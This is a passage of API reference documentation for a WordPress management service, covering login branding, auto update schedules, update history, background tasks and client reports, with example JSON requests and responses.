account. The response includes the branding type and any custom logo,
page label, error message, help text, or sender email.

Use this when you need to review the current WP Login Branding settings
before changing or resetting them.

`type: default` means no custom login branding is active. `type: custom`
means at least one custom login screen setting is active.

A successful response returns the current WP Login branding.

Successful responses:

- **200** — WP Login branding returned successfully.

```json
{
  "wp_login": {
    "type": "default",
    "logo_file": null,
    "label": null,
    "error_message": null,
    "tooltip": null,
    "sender_email": null
  }
}
```

Errors: 401, 403, 429

#### Update WordPress login branding

`POST /whitelabel/wp-login/update`  
Operation ID: `updateWpLogin`

Updates the WordPress login screen display and sender email settings
used across sites in your account.

Use this to change the login logo, page label, error message, help
text, or sender email.

The account plan must support WP Login Branding. Another setting update
cannot already be in progress.

A successful response returns the saved WP Login Branding settings.

Request body (required): `application/json`

Required fields: `wp_login`

```json
{
  "wp_login": {
    "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...",
    "label": "Agency Login",
    "error_message": "The code you entered is incorrect.",
    "tooltip": "Need help? Contact support.",
    "sender_email": {
      "id": "vL5mN8xR3pK7wJ1qT9hY2bFg"
    }
  }
}
```

Successful responses:

- **200** — WP Login branding updated successfully.

```json
{
  "wp_login": {
    "type": "custom",
    "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...",
    "label": "Agency Login",
    "error_message": "The code you entered is incorrect.",
    "tooltip": "Need help? Contact support.",
    "sender_email": {
      "id": "vL5mN8xR3pK7wJ1qT9hY2bFg",
      "email": "support@example.com"
    }
  }
}
```

Errors: 400, 401, 403, 409, 422, 429

#### Reset WordPress login branding

`POST /whitelabel/wp-login/reset`  
Operation ID: `resetWpLogin`

Clears custom WordPress login screen display and sender email settings
across sites in your account.

Use this when sites should return to the default login branding.

The account plan must support WP Login Branding. Another setting update
cannot already be in progress.

A successful response returns WP Login Branding settings with
`type: default`.

Successful responses:

- **200** — WP Login branding reset successfully.

```json
{
  "wp_login": {
    "type": "default",
    "logo_file": null,
    "label": null,
    "error_message": null,
    "tooltip": null,
    "sender_email": null
  }
}
```

Errors: 401, 403, 409, 422, 429

### Auto Update Schedules

#### List auto update schedules

`GET /auto-update-schedules`  
Operation ID: `listAutoUpdateSchedules`

Returns auto update schedules in your account with status, recurrence,
selected sites, included update types, next run time, and backup or
visual regression options.

Use this list to review scheduled WordPress updates, find a schedule to
update, or check which sites and update types each schedule covers.

A successful response returns a paginated list of auto update schedules.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `status`, `schedule`, `update_types`,
  `site_id`, `has_backup`, `has_vr`, `started_at`, `next_update_at`,
  `created_at`, `updated_at`
- Supported operators:
  - `contains`: `name`
  - `eq`: `status`, `schedule`, `has_backup`, `has_vr`
  - `in`: `status`, `schedule`, `update_types`, `site_id`
  - `gte`: `started_at`, `next_update_at`, `created_at`, `updated_at`
  - `lte`: `started_at`, `next_update_at`, `created_at`, `updated_at`
- Supported status values for matching: `active`, `paused`
- Supported schedule values for matching: `daily`, `weekly_on_day`,
  `biweekly`, `monthly_on_date`, `monthly_on_week`, `monthly_last_day`
- Supported update type values for matching: `plugin`, `theme`, `core`
- `update_types:in` and `site_id:in` must use array syntax, for example `filters[site_id:in][]=<site_id>`
- Boolean filters accept `true` or `false`
- Use ISO 8601 timestamps for `started_at`, `next_update_at`, `created_at`, and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[status:eq]=active`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `updated_at`, `name`, `status`,
  `schedule`, `started_at`, `next_update_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=next_update_at,asc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned auto update schedules.
- `filters` (query, optional, object) — Filters applied to returned auto update schedules.

Successful responses:

- **200** — Auto update schedules returned successfully.

```json
{
  "auto_update_schedules": [
    {
      "id": "aU8nK5xR2mL7pQ4vT6hY9bFd",
      "name": "Weekly production updates",
      "status": "active",
      "schedule": "weekly_on_day",
      "started_at": "2026-03-03T02:30:00Z",
      "next_update_at": "2026-03-10T02:30:00Z",
      "scope": {
        "sites": {
          "selection": "all"
        },
        "updates": {
          "wordpress_core": true,
          "plugins": {
            "selection": "all",
            "filenames": []
          }
        }
      },
      "options": {
        "backup": true,
        "visual_regression": false
      },
      "created_at": "2026-02-28T10:00:00Z",
      "updated_at": "2026-02-28T10:00:00Z"
    },
    {
      "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa",
      "name": "Monthly theme updates",
      "status": "paused",
      "schedule": "monthly_on_date",
      "started_at": "2026-03-05T03:00:00Z",
      "next_update_at": "2026-04-05T03:00:00Z",
      "scope": {
        "sites": {
          "selection": "specific",
          "ids": [
            "b7e9d4c2a6f1458c9d0e123456789abc"
          ]
        },
        "updates": {
          "wordpress_core": false,
          "themes": {
            "selection": "specific",
            "filenames": [
              "twentytwentyfour"
            ]
          }
        }
      },
      "options": {
        "backup": false,
        "visual_regression": false
      },
      "created_at": "2026-02-27T09:00:00Z",
      "updated_at": "2026-02-27T09:30:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Create auto update schedule

`POST /auto-update-schedules`  
Operation ID: `createAutoUpdateSchedule`

Creates an active auto update schedule for WordPress updates.

Use this when selected sites need WordPress core, plugin, or theme
updates to run on a recurring schedule.

Submitted sites must be available to you. Backup and visual regression
options require the matching account plan feature.

A successful response returns the created auto update schedule with
`status: active`.

Request body (required): `application/json`

Required fields: `auto_update_schedule`

```json
{
  "auto_update_schedule": {
    "name": "Weekly production updates",
    "schedule": "weekly_on_day",
    "started_at": "2026-03-03T02:30:00Z",
    "scope": {
      "sites": {
        "selection": "all"
      },
      "updates": {
        "wordpress_core": true,
        "plugins": {
          "selection": "all"
        }
      }
    },
    "options": {
      "backup": true,
      "visual_regression": false
    }
  }
}
```

Successful responses:

- **201** — Auto update schedule created successfully.

```json
{
  "auto_update_schedule": {
    "id": "aU8nK5xR2mL7pQ4vT6hY9bFd",
    "name": "Weekly production updates",
    "status": "active",
    "schedule": "weekly_on_day",
    "started_at": "2026-03-03T02:30:00Z",
    "next_update_at": "2026-03-03T02:30:00Z",
    "scope": {
      "sites": {
        "selection": "all"
      },
      "updates": {
        "wordpress_core": true,
        "plugins": {
          "selection": "all",
          "filenames": []
        }
      }
    },
    "options": {
      "backup": true,
      "visual_regression": false
    },
    "created_at": "2026-02-28T10:00:00Z",
    "updated_at": "2026-02-28T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show auto update schedule

`GET /auto-update-schedules/{auto_update_schedule_id}`  
Operation ID: `showAutoUpdateSchedule`

Returns one auto update schedule from your account.

Use this when you need to review one schedule's recurrence, selected
sites, included update types, next run time, or backup and visual
regression options before updating it.

A successful response returns the requested auto update schedule.

Parameters:

- `auto_update_schedule_id` (path, required, string) — Auto update schedule ID returned in auto update schedule lists and details.

Successful responses:

- **200** — Auto update schedule returned successfully.

```json
{
  "auto_update_schedule": {
    "id": "aU8nK5xR2mL7pQ4vT6hY9bFd",
    "name": "Weekly production updates",
    "status": "active",
    "schedule": "weekly_on_day",
    "started_at": "2026-03-03T02:30:00Z",
    "next_update_at": "2026-03-10T02:30:00Z",
    "scope": {
      "sites": {
        "selection": "specific",
        "ids": [
          "b7e9d4c2a6f1458c9d0e123456789abc"
        ]
      },
      "updates": {
        "wordpress_core": true,
        "plugins": {
          "selection": "all",
          "filenames": []
        }
      }
    },
    "options": {
      "backup": true,
      "visual_regression": false
    },
    "created_at": "2026-02-28T10:00:00Z",
    "updated_at": "2026-02-28T10:00:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Delete auto update schedule

`DELETE /auto-update-schedules/{auto_update_schedule_id}`  
Operation ID: `deleteAutoUpdateSchedule`

Deletes one auto update schedule.

Use this when selected sites should stop receiving updates from this
recurring schedule.

A successful response returns no response body.

Parameters:

- `auto_update_schedule_id` (path, required, string) — Auto update schedule ID returned in auto update schedule lists and details.

Successful responses:

- **204** — Auto update schedule deleted successfully. No response body is returned.

Errors: 401, 403, 404, 422, 429

#### Update auto update schedule

`POST /auto-update-schedules/{auto_update_schedule_id}/update`  
Operation ID: `updateAutoUpdateSchedule`

Updates one auto update schedule's name, recurrence, start time, site
scope, update types, or backup and visual regression options. Omitted
fields remain unchanged.

Use this when a recurring update schedule needs different timing, sites,
update types, or backup and visual regression options.

When `scope.updates` is sent, it is the full desired update category
set. Use `enable` or `disable` to change `status`.

A successful response returns the updated auto update schedule.

Parameters:

- `auto_update_schedule_id` (path, required, string) — Auto update schedule ID returned in auto update schedule lists and details.

Request body (required): `application/json`

Required fields: `auto_update_schedule`

```json
{
  "auto_update_schedule": {
    "name": "Weekly production updates"
  }
}
```

Successful responses:

- **200** — Auto update schedule returned successfully.

```json
{
  "auto_update_schedule": {
    "id": "aU8nK5xR2mL7pQ4vT6hY9bFd",
    "name": "Weekly production updates",
    "status": "active",
    "schedule": "weekly_on_day",
    "started_at": "2026-03-03T02:30:00Z",
    "next_update_at": "2026-03-10T02:30:00Z",
    "scope": {
      "sites": {
        "selection": "specific",
        "ids": [
          "b7e9d4c2a6f1458c9d0e123456789abc"
        ]
      },
      "updates": {
        "wordpress_core": true,
        "plugins": {
          "selection": "all",
          "filenames": []
        }
      }
    },
    "options": {
      "backup": true,
      "visual_regression": false
    },
    "created_at": "2026-02-28T10:00:00Z",
    "updated_at": "2026-02-28T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Enable auto update schedule

`POST /auto-update-schedules/{auto_update_schedule_id}/enable`  
Operation ID: `enableAutoUpdateSchedule`

Enables one paused auto update schedule.

Use this when recurring WordPress updates should start again after a
pause. The schedule's `next_update_at` is recalculated from its
recurrence.

A successful response returns the auto update schedule with
`status: active`.

Parameters:

- `auto_update_schedule_id` (path, required, string) — Auto update schedule ID returned in auto update schedule lists and details.

Successful responses:

- **200** — Auto update schedule returned successfully.

```json
{
  "auto_update_schedule": {
    "id": "aU8nK5xR2mL7pQ4vT6hY9bFd",
    "name": "Weekly production updates",
    "status": "active",
    "schedule": "weekly_on_day",
    "started_at": "2026-03-03T02:30:00Z",
    "next_update_at": "2026-03-10T02:30:00Z",
    "scope": {
      "sites": {
        "selection": "specific",
        "ids": [
          "b7e9d4c2a6f1458c9d0e123456789abc"
        ]
      },
      "updates": {
        "wordpress_core": true,
        "plugins": {
          "selection": "all",
          "filenames": []
        }
      }
    },
    "options": {
      "backup": true,
      "visual_regression": false
    },
    "created_at": "2026-02-28T10:00:00Z",
    "updated_at": "2026-02-28T10:00:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Disable auto update schedule

`POST /auto-update-schedules/{auto_update_schedule_id}/disable`  
Operation ID: `disableAutoUpdateSchedule`

Disables one active auto update schedule.

Use this when recurring WordPress updates should stop temporarily without
deleting the schedule.

A successful response returns the auto update schedule with
`status: paused`.

Parameters:

- `auto_update_schedule_id` (path, required, string) — Auto update schedule ID returned in auto update schedule lists and details.

Successful responses:

- **200** — Auto update schedule returned successfully.

```json
{
  "auto_update_schedule": {
    "id": "aU8nK5xR2mL7pQ4vT6hY9bFd",
    "name": "Weekly production updates",
    "status": "paused",
    "schedule": "weekly_on_day",
    "started_at": "2026-03-03T02:30:00Z",
    "next_update_at": "2026-03-10T02:30:00Z",
    "scope": {
      "sites": {
        "selection": "specific",
        "ids": [
          "b7e9d4c2a6f1458c9d0e123456789abc"
        ]
      },
      "updates": {
        "wordpress_core": true,
        "plugins": {
          "selection": "all",
          "filenames": []
        }
      }
    },
    "options": {
      "backup": true,
      "visual_regression": false
    },
    "created_at": "2026-02-28T10:00:00Z",
    "updated_at": "2026-03-01T09:00:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

### Auto Update History

#### List auto update history

`GET /auto-update-history`  
Operation ID: `listAutoUpdateHistory`

Returns past runs for auto update schedules in your account. Each entry
includes the schedule ID and name, run time, task ID when an update task
was created, status, and site-level WordPress update details when
available.

Use this list to review scheduled WordPress update runs, find runs for a
schedule, check update task status, or see which site-level core,
plugin, and theme updates were included.

Site update details are included only for sites available to you.
Entries with `status: no_updates` did not create an update task.

A successful response returns a paginated list of auto update history
entries.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `auto_update_schedule_id`, `auto_update_schedule_name`,
  `status`, `performed_on`
- Supported operators:
  - `eq`: `auto_update_schedule_id`, `status`
  - `in`: `auto_update_schedule_id`, `status`
  - `contains`: `auto_update_schedule_name`
  - `gte`: `performed_on`
  - `lte`: `performed_on`
- Supported status values for matching: `initializing`, `running`,
  `completed`, `cancelled`, `failed`, `aborted`, `no_updates`
- `auto_update_schedule_id:in` and `status:in` must use array syntax,
  for example `filters[status:in][]=completed`
- Use ISO 8601 timestamps for `performed_on` filters
- Example: `filters[status:in][]=completed&filters[status:in][]=no_updates`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `performed_on`, `auto_update_schedule_name`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `performed_on,desc`
- Example: `sort=performed_on,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned auto update history entries.
- `filters` (query, optional, object) — Filters applied to returned auto update history entries.

Successful responses:

- **200** — Auto update history entries returned successfully.

```json
{
  "auto_update_history": [
    {
      "auto_update_schedule": {
        "id": "aU8nK5xR2mL7pQ4vT6hY9bFd",
        "name": "Weekly production updates"
      },
      "performed_on": "2026-03-10T02:30:00Z",
      "task_id": "vT8nK5xR2mL7pQ4vT6hY9bFd",
      "status": "completed",
      "sites": [
        {
          "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
          "wp": {
            "core": {
              "current_version": "6.4.2",
              "target_version": "6.4.3"
            },
            "plugins": [
              {
                "name": "Akismet Anti-Spam",
                "slug": "akismet",
                "filename": "akismet/akismet.php",
                "current_version": "5.3.1",
                "target_version": "5.3.3"
              }
            ],
            "themes": [
              {
                "name": "Twenty Twenty-Four",
                "slug": "twentytwentyfour",
                "filename": "twentytwentyfour",
                "current_version": "1.0",
                "target_version": "1.1"
              }
            ]
          }
        }
      ]
    },
    {
      "auto_update_schedule": {
        "id": "aU3mK7xN9pL4wJ6vQ2hY8bFa",
        "name": "Theme patch window"
      },
      "performed_on": "2026-03-09T04:00:00Z",
      "task_id": null,
      "status": "no_updates",
      "sites": []
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

### Tasks

#### List tasks

`GET /tasks`  
Operation ID: `listTasks`

Returns tasks in your account with status, type, progress, and request
details when available. Request details can include the site IDs connected
to the task.

Use this list to review background work, find a task to inspect, or
choose a task to cancel.

A successful response returns a paginated list of tasks.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `status`, `type`, `created_at`, `updated_at`
- Supported operators:
  - `eq`: `status`, `type`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
- Supported status values for matching: `initializing`, `running`, `completed`, `cancelled`, `failed`, `aborted`
- Supported type values for matching: `wp_site_update`, `staging`, `test_restore`,
  `wp_plugin_activate`, `wp_plugin_deactivate`, `wp_plugin_delete`,
  `wp_plugin_install`, `wp_theme_activate`, `wp_theme_delete`,
  `wp_theme_install`, `wp_user_password_change`, `wp_user_role_change`,
  `wp_user_delete`, `wp_user_create`, `wp_theme_upload`, `wp_plugin_upload`,
  `wp_core_db_upgrade`, `wp_plugin_db_upgrade`, `restore`, `download`,
  `upload`, `migrate`, `report`, `hackcleanup`, `settingop`, `speed`,
  `download_staging`, `configure_staging_site`
- `wp_site_update` matches WordPress core, plugin, theme, and auto-update tasks
- `staging` does not include test-restore tasks. Use `test_restore` for those
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[status:eq]=running`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `updated_at`, `status`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned tasks.
- `filters` (query, optional, object) — Filters applied to returned tasks.

Successful responses:

- **200** — Tasks returned successfully.

```json
{
  "tasks": [
    {
      "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
      "status": "running",
      "type": "wp_site_update",
      "created_at": "2026-02-26T10:00:00Z",
      "updated_at": "2026-02-26T10:05:00Z",
      "progress": {
        "percent": 40,
        "metrics": {
          "sites": {
            "done": 0,
            "total": 1
          }
        }
      },
      "input": {
        "sites": [
          {
            "id": "9bf3c2e7",
            "options": {
              "backup": true,
              "visual_regression": false,
              "sandbox": false
            },
            "plugins": [
              {
                "name": "Contact Form",
                "current_version": "5.8.1",
                "target_version": "5.9.0",
                "slug": "contact-form",
                "filename": "contact-form/plugin.php"
              }
            ]
          }
        ]
      }
    },
    {
      "id": "8c4a1b6e5d9f3027a4b8c1d6e7f9023a",
      "status": "completed",
      "type": "staging",
      "created_at": "2026-02-25T09:00:00Z",
      "updated_at": "2026-02-25T09:20:00Z",
      "progress": {
        "percent": 100,
        "metrics": {
          "sites": {
            "done": 1,
            "total": 1
          }
        }
      },
      "input": {
        "sites": [
          {
            "id": "4cd9a8b1",
            "site_url": "https://www.example.net",
            "user_configuration": {
              "site_name": "Store staging",
              "php_version": "8.1",
              "category": "staging"
            },
            "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2",
            "snapshot_timestamp": "2026-02-25T08:45:00.000Z"
          }
        ]
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Show task

`GET /tasks/{task_id}`  
Operation ID: `showTask`

Returns one task with its current status, request details, site-level
progress, and step-level progress.

Use this when you have a task ID from this list or from a response that
started background work and need detailed progress for each site.

A successful response returns the requested task with `details.sites`.

Parameters:

- `task_id` (path, required, string) — Task ID returned in task lists or when background work starts.

Successful responses:

- **200** — Task returned successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "running",
    "type": "wp_site_update",
    "created_at": "2026-02-26T10:00:00Z",
    "updated_at": "2026-02-26T10:05:00Z",
    "progress": {
      "percent": 40,
      "metrics": {
        "sites": {
          "done": 0,
          "total": 1
        }
      }
    },
    "input": {
      "sites": [
        {
          "id": "9bf3c2e7",
          "options": {
            "backup": true,
            "visual_regression": false,
            "sandbox": false
          },
          "plugins": [
            {
              "name": "Contact Form",
              "current_version": "5.8.1",
              "target_version": "5.9.0",
              "slug": "contact-form",
              "filename": "contact-form/plugin.php"
            }
          ]
        }
      ]
    },
    "details": {
      "sites": [
        {
          "id": "9bf3c2e7",
          "status": "running",
          "progress": {
            "percent": 40
          },
          "steps": [
            {
              "type": "update_plugin",
              "status": "running",
              "details": {
                "name": "Contact Form",
                "current_version": "5.8.1",
                "target_version": "5.9.0",
                "slug": "contact-form"
              },
              "progress": {
                "percent": 40
              },
              "error": {}
            }
          ]
        }
      ]
    }
  }
}
```

Errors: 401, 403, 404, 429

#### Cancel task

`POST /tasks/{task_id}/cancel`  
Operation ID: `cancelTask`

Requests cancellation for a task.

Use this when background work should stop before it finishes.

A successful response returns the updated task with its latest status and
site-level details.

Parameters:

- `task_id` (path, required, string) — Task ID returned in task lists or when background work starts.

Successful responses:

- **200** — Task cancellation requested successfully.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "cancelled",
    "type": "wp_site_update",
    "created_at": "2026-02-26T10:00:00Z",
    "updated_at": "2026-02-26T10:10:00Z",
    "progress": {
      "percent": 100,
      "metrics": {
        "sites": {
          "done": 0,
          "total": 1
        }
      }
    },
    "input": {
      "sites": [
        {
          "id": "9bf3c2e7",
          "options": {
            "backup": true,
            "visual_regression": false,
            "sandbox": false
          },
          "plugins": [
            {
              "name": "Contact Form",
              "current_version": "5.8.1",
              "target_version": "5.9.0",
              "slug": "contact-form",
              "filename": "contact-form/plugin.php"
            }
          ]
        }
      ]
    },
    "details": {
      "sites": [
        {
          "id": "9bf3c2e7",
          "status": "cancelled",
          "progress": {
            "percent": 40
          },
          "steps": [
            {
              "type": "update_plugin",
              "status": "cancelled",
              "details": {
                "name": "Contact Form",
                "current_version": "5.8.1",
                "target_version": "5.9.0",
                "slug": "contact-form"
              },
              "progress": {
                "percent": 40
              },
              "error": {}
            }
          ]
        }
      ]
    }
  }
}
```

Errors: 401, 403, 404, 422, 429

### Reports

#### List reports

`GET /reports`  
Operation ID: `listReports`

Returns generated reports in your account for sites available to you.
Each report includes site details, date range, report type, client
details when available, and email delivery status.

Use this list to review generated reports, find a report to download or
delete, or choose a report to send by email.

A successful response returns a paginated list of reports.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `type`, `site_id`, `client_id`, `sender_email`, `recipient_status`, `created_at`
- Supported operators:
  - `eq`: `type`, `site_id`, `client_id`, `sender_email`, `recipient_status`
  - `gte`: `created_at`
  - `lte`: `created_at`
- Supported type values for matching: `one_time`, `scheduled`
- Supported recipient status values for matching: `sent`, `delivered`, `opened`, `failed`, `bounced`, `spam`
- Use ISO 8601 timestamps for `created_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[type:eq]=one_time`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned reports.
- `filters` (query, optional, object) — Filters applied to returned reports.

Successful responses:

- **200** — Reports returned successfully.

```json
{
  "reports": [
    {
      "id": "hT5bWx8nKq3mJr6vGs9fYd2a",
      "site": {
        "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
        "title": "Example Site",
        "url": "https://reports.example.com"
      },
      "title": "Website report",
      "type": "one_time",
      "client": {
        "id": "jT7nK2xR8mL4pQ9vW5hY3bFe",
        "name": "John Client",
        "email": "client@example.com"
      },
      "start_date": "2026-01-01",
      "end_date": "2026-01-31",
      "created_at": "2026-02-01T12:00:00Z",
      "email": {
        "subject": "Website report",
        "body": "Report body",
        "attach_pdf": false,
        "sender_email": {
          "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
          "email": "sender@example.com"
        },
        "recipients": [
          {
            "email": "client@example.com",
            "status": "delivered",
            "sent_at": "2026-01-02T00:00:00Z",
            "delivered_at": "2026-01-02T00:05:00Z",
            "opened_at": null
          }
        ]
      }
    },
    {
      "id": "kP8mVx3nQq7rLd2sGt5fYa9b",
      "site": {
        "id": "0af3c2e7a1b24c6d8e9f0123456789cd",
        "title": "Store Site",
        "url": "https://store.example.com"
      },
      "title": "Monthly report",
      "type": "scheduled",
      "client": null,
      "start_date": "2026-02-01",
      "end_date": "2026-02-28",
      "created_at": "2026-03-01T12:00:00Z",
      "email": {
        "subject": "Monthly report",
        "body": null,
        "attach_pdf": true,
        "sender_email": null,
        "recipients": []
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Create report

`POST /reports`  
Operation ID: `createReport`

Creates a one-time report for a site available to you and starts report
generation.

Use this when you need a generated report for a selected date range.

The site must be available to you and matching backup snapshots must
exist for the requested date range.

A successful response returns the task created for report generation.

Request body (required): `application/json`

Required fields: `report`

```json
{
  "report": {
    "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "timezone": "UTC",
    "start_date": "2026-01-01",
    "end_date": "2026-01-31",
    "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "report_template_data": {
      "general": {
        "primary_color": "#112233",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "introduction": {
          "visible": true,
          "heading": "Introduction",
          "description": "Report introduction."
        }
      },
      "section_order": [
        "introduction"
      ]
    }
  }
}
```

Successful responses:

- **201** — Report generation started successfully.

```json
{
  "task": {
    "id": "task-report-create",
    "status": "queued",
    "created_at": "2026-01-01T00:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show report

`GET /reports/{report_id}`  
Operation ID: `showReport`

Returns one generated report from your account with site details, date
range, report type, client details when available, and email delivery
status.

Use this when you need to review one report before downloading, deleting,
or sending it by email.

A successful response returns the requested report.

Parameters:

- `report_id` (path, required, string) — Report ID returned in report lists and details.

Successful responses:

- **200** — Report returned successfully.

```json
{
  "report": {
    "id": "hT5bWx8nKq3mJr6vGs9fYd2a",
    "site": {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "title": "Example Site",
      "url": "https://reports.example.com"
    },
    "title": "Website report",
    "type": "one_time",
    "client": {
      "id": "jT7nK2xR8mL4pQ9vW5hY3bFe",
      "name": "John Client",
      "email": "client@example.com"
    },
    "start_date": "2026-01-01",
    "end_date": "2026-01-31",
    "created_at": "2026-02-01T12:00:00Z",
    "email": {
      "subject": "Website report",
      "body": "Report body",
      "attach_pdf": false,
      "sender_email": {
        "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
        "email": "sender@example.com"
      },
      "recipients": [
        {
          "email": "client@example.com",
          "status": "delivered",
          "sent_at": "2026-01-02T00:00:00Z",
          "delivered_at": "2026-01-02T00:05:00Z",
          "opened_at": null
        }
      ]
    }
  }
}
```

Errors: 401, 403, 404, 429

#### Delete report

`DELETE /reports/{report_id}`  
Operation ID: `deleteReport`

Deletes one generated report from your account.

Use this when you no longer need to keep the generated report.

A successful response returns no response body.

Parameters:

- `report_id` (path, required, string) — Report ID returned in report lists and details.

Successful responses:

- **204** — Report deleted successfully. No response body is returned.

Errors: 401, 403, 404, 429

#### Download report PDF

`GET /reports/{report_id}/download`  
Operation ID: `downloadReport`

Downloads the PDF file for one completed report.

Use this when you need the generated PDF file for a report.

A successful response returns `application/pdf` content.

Parameters:

- `report_id` (path, required, string) — Report ID returned in report lists and details.

Successful responses:

- **200** — Report PDF returned successfully.

Errors: 401, 403, 404, 429

#### Send report email

`POST /reports/{report_id}/send-email`  
Operation ID: `sendReportEmail`

Sends one completed report by email to submitted recipients.

Use this when recipients need another email copy of a generated report.

A successful response returns successful recipients, per-recipient errors,
and result counts.

Parameters:

- `report_id` (path, required, string) — Report ID returned in report lists and details.

Request body (required): `application/json`

Required fields: `send_email`

```json
{
  "send_email": {
    "recipients": [
      "client@example.com"
    ],
    "sender_email": {
      "id": "sE8nK5xR2mL7pQ4vT6hY9bFd"
    },
    "subject": "Website report",
    "body": "Report body",
    "attach_pdf": true
  }
}
```

Successful responses:

- **200** — Report email send request processed successfully.

```json
{
  "send_email": {
    "recipients": [
      "client@example.com"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Report Templates

#### List report templates

`GET /report-templates`  
Operation ID: `listReportTemplates`

Returns user-created report templates in your account. Each item includes
the template ID, name, site IDs for scheduled reports that use it, and
creation and update times.

Use this list to review report templates, find a template to view details,
update, or delete, or choose a template ID for report or scheduled report
requests.

Site IDs identify sites available to you that have active or paused
scheduled reports using the template.

A successful response returns a paginated list of report templates.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `created_at`, `updated_at`, `site_id`
- Supported operators:
  - `contains`: `name`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
  - `in`: `site_id`
- `site_id:in` must use array syntax, for example `filters[site_id:in][]=<site_id>`
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[name:contains]=Monthly`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `name`, `created_at`, `updated_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned report templates.
- `filters` (query, optional, object) — Filters applied to returned report templates.

Successful responses:

- **200** — Report templates returned successfully.

```json
{
  "report_templates": [
    {
      "id": "nR4eJk7pLm2xWc8vYs5fTd9a",
      "site_ids": [
        "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
      ],
      "name": "Monthly Website Report",
      "created_at": "2026-02-20T09:15:00Z",
      "updated_at": "2026-02-20T09:15:00Z"
    },
    {
      "id": "pL8vQ3xRn5mJw9cT2hY6dFs",
